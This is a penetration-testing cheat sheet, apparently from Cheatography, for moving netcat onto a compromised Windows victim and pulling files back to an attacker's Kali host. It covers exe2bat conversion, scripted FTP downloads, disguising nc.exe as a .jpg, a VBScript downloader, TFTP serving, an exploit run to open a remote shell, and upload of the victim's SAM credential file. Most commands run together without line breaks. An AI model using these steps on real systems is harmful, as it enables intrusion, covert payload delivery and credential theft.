locate exe2bat.exewine exe2bat.exeupx -9 nc.exe (to compress nc.exe)ls -l nc.exe (should now be smaller)wine exe2bat.exe /root/nc.exe nc.txt (convert nc.exe to nc.txt)cat nc.txt | more (should be a hex dump)python -m SimpleHTTPServernc -lvp 12345 | tar -xf - (on receiver)tar -cf - filename.txt | nc -vn 192.168.1.14 12345 (on sender)ftpopen x.x.x.x 80ftp -n -v -s:config.txt 10.2.10.14config.txt:user uid1234 (username)uid1234 (password)quitpure-pw useradd hacker -u ftpusers -d /ftphome/ (create user hacker)pure-pw mkdbcp /pentest/windows/nc.exe /ftphome/etc/init.d/pure-ftpd startftp 127.0.0.1 (test login)ls (nc.exe should appear)byeecho open 192.168.34.10 > ftp.txt (commands to be run in the -s step)echo myftp>> ftp.txt (no space between username and append command)echo myftp>> ftp.txtecho bin >> ftp.txtecho get nc.exe >> ftp.txtecho bye >> ftp.txtftp -s:ftp.txt (-s run commands in ftp.txt)/etc/init.d/pure-ftpd start (start ftp server)netstat -antp (confirm server on port 21)/etc/init.d/pure-ftpd stop (stop ftp server)ls -l /ftphome (home ftp directory created by ftpd)cp nc.exe /ftphome (copy netcat to ftphome) ftp 127.0.0.1 (login ftp to server)ls (netcat should appear)bin (switch to binary for file transfer)get nc.exe (confirm file transfer works)byefile nc.exe (confirm file properties are intact)mv nc.exe to nc.jpg (exe files will open a dialog, so they need to be converted)./ability-linux (gain your remote shell)cd progcd internetstart iexplore.exe http://192.168.8.173/nc.jpg (nc.jpg will be downloaded to temp directory)
Navigate to the temporary internet files on the victim (e.g. c:\documents and settings\offsec\local settings\temporary internet files)
copy nc.jpg c:\
cd\
rename nc.jpg nc.exe
nc.exe` (nc should be functional)cat down.vbs (confirm contents)sed ’s/echo /‘ download-vbscript (add echo to start of lines)sed ’s/echo /‘ download-vbscript | sed ’s/S/ >> down.vbs/‘ (add append to end of lines)sed ’s/^echo /‘ download-vbscript | sed ’s/S/ >> down.vbs/‘ | grep -v ‘echo >> down.dbs’ (remove echo on blank lines)/etc/init.d/apache2 startcp nc.exe /var/www/cscript down.vbs http://192.168.8.173/nc.exe nc2.exe (to run down.vbs, which will download nc.exe to nc2.exe)nc.exe (check if file is functional)apt-get install atftpdatftpd --daemon --port 69 /tmp (start in daemon mode on port 69, home directory /tmp)atftpd --daemon --port 1234 /tmp (start in daemon mode on port 1234, home directory /tmp)netstat -anup | grep atftp (should be listening on port 69 udp)cp /nc.exe /tmptftp 127.0.0.1 (connect to server)get nc.exequitls -l nc.exefile nc.exeps -ef | grep atftpkill -9 16084 (first column number)netstat -anup | grep 69 (confirm server has been killed)atftpd --daemon --port 69 /tmp/usr/share/windows-binaries/nc.exe /tmpchmod 777 /tmp/nc.exe./ability-linux.py (ability exploit, served, shell started)cd`
tftp -i 192.168.23.10 GET nc.exe (on Windows Victim, IP = Kali)
Upload to Attacker
tftp -i 192.168.8.172 PUT sam
sam should now appear in /tmp on the Kali machine
Download in Windows
tftp get 2.3.5.1:/lanscan` (get the file lanscan from TFTP server 2.3.5.1)No comments yet.
Cheatography n. The art of mapping complex subjects into clear, instantly navigable reference guides.